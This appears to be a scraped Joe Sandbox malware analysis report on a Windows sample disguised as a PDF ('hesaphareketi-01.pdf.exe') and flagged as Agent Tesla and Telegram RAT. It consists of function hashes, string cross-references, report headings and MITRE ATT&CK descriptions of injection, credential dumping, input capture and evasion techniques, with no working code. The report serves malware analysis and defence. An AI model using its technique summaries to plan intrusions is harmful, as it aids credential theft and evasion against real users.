Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf93346abf5d05628c041dc36a9c1060692ba49691e98206fa76c5a48bb301c
Instruction ID: 965ccc8d2acfddfe5b1a7e6864b0d72b2811f41cc53f15bbecc128c4fd0694c0
Opcode Fuzzy Hash: 8cf93346abf5d05628c041dc36a9c1060692ba49691e98206fa76c5a48bb301c
Instruction Fuzzy Hash: AE012434B00A005FDB66CA3C9894B2F6BD7EBC9310F20886AF10AC7345EB20DC464391

Function 061EA308 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 441763eba6b4f80e8bf4521d70b88ab7ca21c77b15dcda29ee4994e1b45a1d2c
Instruction ID: f9b8a4e42e614026b3ab8c8b83f8e1d1e7b14176afebfd21d8495bcbf2fb1c96
Opcode Fuzzy Hash: 441763eba6b4f80e8bf4521d70b88ab7ca21c77b15dcda29ee4994e1b45a1d2c
Instruction Fuzzy Hash: F301B134B00B105FD7A1DA78E961B6F77E2AB8A710B0484A9F10ACB395DB24DD458391

Function 061E3868 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b52b52ed1589aa8d087ffcff9760eaa3ef87d8626056ab96a7098adf9662c5f
Instruction ID: 18a71671486953f7b63a9f4b7d46a9397ecd79732cc7ee2d972085a3facd723e
Opcode Fuzzy Hash: 2b52b52ed1589aa8d087ffcff9760eaa3ef87d8626056ab96a7098adf9662c5f
Instruction Fuzzy Hash: CB21CFB5D01659AFDB10CF9AD984ADEFBB4FB48310F10862AE918B7700C374A654CFA5

Function 00DED3B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c16b03a254a82660b956663a261485de8fcc5b72836e610ccc5344f67edd4d2
Instruction ID: f4756f662b26c578a27907c0631edbf300c5fce3b285a9f6c753cee2957f0ab2
Opcode Fuzzy Hash: 5c16b03a254a82660b956663a261485de8fcc5b72836e610ccc5344f67edd4d2
Instruction Fuzzy Hash: 9D119075504280DFCB15DF10D5C4B15BBA2FB54314F28C6A9D8494B696C33AE85ACF61

Function 00DED207 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676378649.0000000000DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ded000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e53d8c9cef7d692991a98ccd321a4a220e1a4e757dd7e8e442a99daf23effa
Instruction ID: 36919af2c54722e827d1a94ef287d1775c569fdeba42a155e865551d96162dee
Opcode Fuzzy Hash: a7e53d8c9cef7d692991a98ccd321a4a220e1a4e757dd7e8e442a99daf23effa
Instruction Fuzzy Hash: 1B11C475504284DFDB11DF10D5C4B15FF62FB84324F28C6A9DD494B646C33AD846CB61

Function 061E3870 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c8280950f95152885d0f6facab0d57ab68b2f588961cd90bce4489214ef3cd
Instruction ID: 27f7a3eceb9e25e6d1551f392adc9821c0a14bfbf2742b5887e117a1fb4abf0d
Opcode Fuzzy Hash: 72c8280950f95152885d0f6facab0d57ab68b2f588961cd90bce4489214ef3cd
Instruction Fuzzy Hash: 4911D0B5D01659AFCB10DF9AD984ADEFBF4FB48310F10812AE918B7300C374A944CBA5

Function 061E4200 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d417f7bb58430a15cd3c3beaee6c757157e5a83655ab0395faa5ae6cd66a1cc1
Instruction ID: a928f813bde96934ffef0a7561c8b211e24cac3f600b0221ed55cf02ad200458
Opcode Fuzzy Hash: d417f7bb58430a15cd3c3beaee6c757157e5a83655ab0395faa5ae6cd66a1cc1
Instruction Fuzzy Hash: 5701AD34B10A111BEB60D5BDA411B2BA2DBDBD9710F10883AE10EC7384DA65DC4203A1

Function 061E3B9F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f21b112623f02a4939ab6b5262cd4afebba9a76d20a254151f3aad39a729ed
Instruction ID: 933ad8d79d5cfc259ee82ce7560927deca7278de3c8e68e4ea9c4039ebda595e
Opcode Fuzzy Hash: 99f21b112623f02a4939ab6b5262cd4afebba9a76d20a254151f3aad39a729ed
Instruction Fuzzy Hash: F401A236B105295BDB94966CDC257EF7BABABC8310F14857AE41AE7384EF60CD0243D1

Function 061EED90 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec4a7996df65e826a8a310734324f06d171446a605fdbe08ac1a140b25d4cb1
Instruction ID: cca987db3c0765ccd3cca5271dd6ea4bab4d5cab72450460e5722804f6185c49
Opcode Fuzzy Hash: 7ec4a7996df65e826a8a310734324f06d171446a605fdbe08ac1a140b25d4cb1
Instruction Fuzzy Hash: DF01FF38B10A105BDB65D93D9855B2FA7DBEBC9720F20883AF20AC7344EF21DC024391

Function 061EA318 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c86488c35db7b5e32924a08ede08c2a6c0b8b4ff99eb045f89c0c8069203924
Instruction ID: 952428faa9c90a688d757f45b03103f35f20d19009afbbee6a840c4cfb5947e4
Opcode Fuzzy Hash: 7c86488c35db7b5e32924a08ede08c2a6c0b8b4ff99eb045f89c0c8069203924
Instruction Fuzzy Hash: 94013134B10A144BDBA1EA7DD45176FB3D6EB89710F108568E10ACB754EF21DC458791

Function 00DDD8B1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676316395.0000000000DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ddd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d7f1936b676a445f773cc8f8b2d57d3e3b9d6b582d1dcfd2405cfcb74af7681
Instruction ID: 851fca90895b29e1dc54569dc0436f10a66f6094fa0592d5c8054ace90df6f16
Opcode Fuzzy Hash: 4d7f1936b676a445f773cc8f8b2d57d3e3b9d6b582d1dcfd2405cfcb74af7681
Instruction Fuzzy Hash: 2A01F271408344AFEB204E22CD84B66BBD8DF40724F1C851BEC495F386C239D840DEB2

Function 061EC7E0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e70b026ed6427ed0c2d27fd8c99894053be009fcef1e19bfaf219cc33fe63d8
Instruction ID: c6a501fc11fb2f3a2c292cf42e6159f985d56e5b7eed9d70aa962bc16603b240
Opcode Fuzzy Hash: 5e70b026ed6427ed0c2d27fd8c99894053be009fcef1e19bfaf219cc33fe63d8
Instruction Fuzzy Hash: 1401F431F10224ABDF589A79EC41AAE7366FB85310F004579E915EB344DB31E80487D0

Function 00DDD8B0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676316395.0000000000DDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ddd000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78c690c5eac22b8f5b3d9d3bb424ef834bedf4df894e7f6275414f001de8e813
Instruction ID: 644a1b36f56095236f7b6c71c4c2ed9cc3ff3f30876f5acaebc78ef85fa2c3de
Opcode Fuzzy Hash: 78c690c5eac22b8f5b3d9d3bb424ef834bedf4df894e7f6275414f001de8e813
Instruction Fuzzy Hash: 86F0CD72408344AFEB208E06DD84B62FF98EB40724F1CC45AED485F386C279A844CAB1

Function 061E6469 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e5b58304e77e08a4e7d54cd14a5ed0148264413f1bdada737433f8a536135b6
Instruction ID: b5bb172fb2246656620a815aa506bf975a9d1a4f24a9984be0844cefea35542d
Opcode Fuzzy Hash: 3e5b58304e77e08a4e7d54cd14a5ed0148264413f1bdada737433f8a536135b6
Instruction Fuzzy Hash: CDE08671E155499BDF90CEB0DE1939B77AAD751204F288CA7E408D7641E23ADE1187C0

Non-executed Functions

Function 061E7698 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$q, xrefs: 061E77BD
$q, xrefs: 061E7C19
$q, xrefs: 061E7C23
$q, xrefs: 061E77E2
$q, xrefs: 061E7B7A
$q, xrefs: 061E77EE
$q, xrefs: 061E77B1
$q, xrefs: 061E7C0D
$q, xrefs: 061E7C2F
$q, xrefs: 061E7B6E

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-1298971921
Opcode ID: a98d49957f241b3a732a81e16acaf0a1cd021639fe66dab7d36aea83764a1e82
Instruction ID: 28d3bc0eb982b8bb619fb288ba0121fd24028825e87fdbc3bb721254dc84f64b
Opcode Fuzzy Hash: a98d49957f241b3a732a81e16acaf0a1cd021639fe66dab7d36aea83764a1e82
Instruction Fuzzy Hash: 8E122D34E0061A8FEB68DB65D854B9DB7F2FF89300F2499A9D406AB294DB30DD45CF90

Function 061EA938 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$q, xrefs: 061EAA2E
$q, xrefs: 061EAAF6
$q, xrefs: 061EAAB4
$q, xrefs: 061EAA95
$q, xrefs: 061EAAC0
$q, xrefs: 061EAAEA
$q, xrefs: 061EAA89
$q, xrefs: 061EAA3A

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: f113ccc8b9b9dcc7fc6aecbfbf1d0fbe50aab348b5a86d471d682e79b5474a8b
Instruction ID: 8269524a40cfea07a34125cf8745588aa48fd7bbad05636d2175622671460075
Opcode Fuzzy Hash: f113ccc8b9b9dcc7fc6aecbfbf1d0fbe50aab348b5a86d471d682e79b5474a8b
Instruction Fuzzy Hash: 59918030E00B0ADFEB68DB64D9557AE77F2BF84300F158529E801AB2A5DB74DD45CB90

Function 061E7098 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$q, xrefs: 061E7534
$q, xrefs: 061E737A
$q, xrefs: 061E75A0
$q, xrefs: 061E75AC
$q, xrefs: 061E73E0
$q, xrefs: 061E73D4

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: ce7dc2dda59a65d31fc064b3bc00e071cf91fa33db8541dda13662e689178b8b
Instruction ID: 075dea0c0e6eea7fdbf9232cadd3cb617f6816f10b1a9182e12c39c837cca6be
Opcode Fuzzy Hash: ce7dc2dda59a65d31fc064b3bc00e071cf91fa33db8541dda13662e689178b8b
Instruction Fuzzy Hash: 0BF15E34A00709CFEB59EBA4D454B6EB7B2FF84300F248469E4059B3A9DB35EC42CB91

Function 061E83D0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$q, xrefs: 061E8636
$q, xrefs: 061E869B
$q, xrefs: 061E862A
$q, xrefs: 061E868F

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: ce7255e3df5c2923fec7919965f3066bd2686b6413deed51ddf6c725adec1d72
Instruction ID: 18c07952a55ed6b8a7d120e3262204fa2d51870488c9f9762ae9148853e627b1
Opcode Fuzzy Hash: ce7255e3df5c2923fec7919965f3066bd2686b6413deed51ddf6c725adec1d72
Instruction Fuzzy Hash: A4B15E34F106098FDBA4EB69D5947AEB7B2FF84300F248869E4069B355DB34DC82CB91

Function 061E87E8 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$q, xrefs: 061E8867
LRq, xrefs: 061E892A
$q, xrefs: 061E8873
LRq, xrefs: 061E88DB

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: LRq$LRq$$q$$q
API String ID: 0-2204215535
Opcode ID: 1724473531dd2f29dc2c89cb99b5d46872e6af64a8ef97e8edce2b2aee0d958a
Instruction ID: ae51f066c3e0a3f13eea113444ea1a12055d11d822f09556fd71919383668ea3
Opcode Fuzzy Hash: 1724473531dd2f29dc2c89cb99b5d46872e6af64a8ef97e8edce2b2aee0d958a
Instruction Fuzzy Hash: 5851C134B00A019FDB98EB78D851A6E77E2FF85310F1489A9E8019F3A5DB30EC45CB95

Function 061EACC0 Relevance: 5.2, Strings: 4, Instructions: 165COMMON

Download Yara Rule

Strings

$q, xrefs: 061EAE9C
$q, xrefs: 061EAE44
$q, xrefs: 061EADF1
$q, xrefs: 061EAE73

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 48d8cc809611ffe7f4e43fa5a8dd7792f763ed1d339d339b358007e6d713f928
Instruction ID: e1fb9b5d3f2e43289e2d6ca405ba6cad200e6f86dd19e34593ca5e0af2c5951c
Opcode Fuzzy Hash: 48d8cc809611ffe7f4e43fa5a8dd7792f763ed1d339d339b358007e6d713f928
Instruction Fuzzy Hash: 1C51BE34E10A049FDF65DB64E5906AEB3B2FF84311F14896AE806EB355DB30EC42CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hesaphareketi-01.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Agenttesla

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Windows Analysis Report
hesaphareketi-01.pdf.exe

Function 00007FF7341E24C0 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Function 00007FF7341D55C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95
COMMON

Function 00007FF7341E8F50 Relevance: 2.9, Strings: 2, Instructions: 421
COMMON

Function 00007FF7341E2070 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107
COMMON

Function 00007FF7341DAE30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Function 00007FF7341D6480 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88
sleepCOMMON

Function 00007FF7341DB130 Relevance: 6.0, APIs: 4, Instructions: 26
threadCOMMON

Function 00007FF7341E1E90 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
COMMON

Function 00007FF734201470 Relevance: 5.1, APIs: 4, Instructions: 112
COMMON

Function 00007FF7342102E0 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Function 00007FF7341ECD40 Relevance: 4.7, APIs: 3, Instructions: 195
threadCOMMON

Function 00007FF7341E2740 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Function 00007FF7341D9D50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
COMMON

Function 00007FF734238D70 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

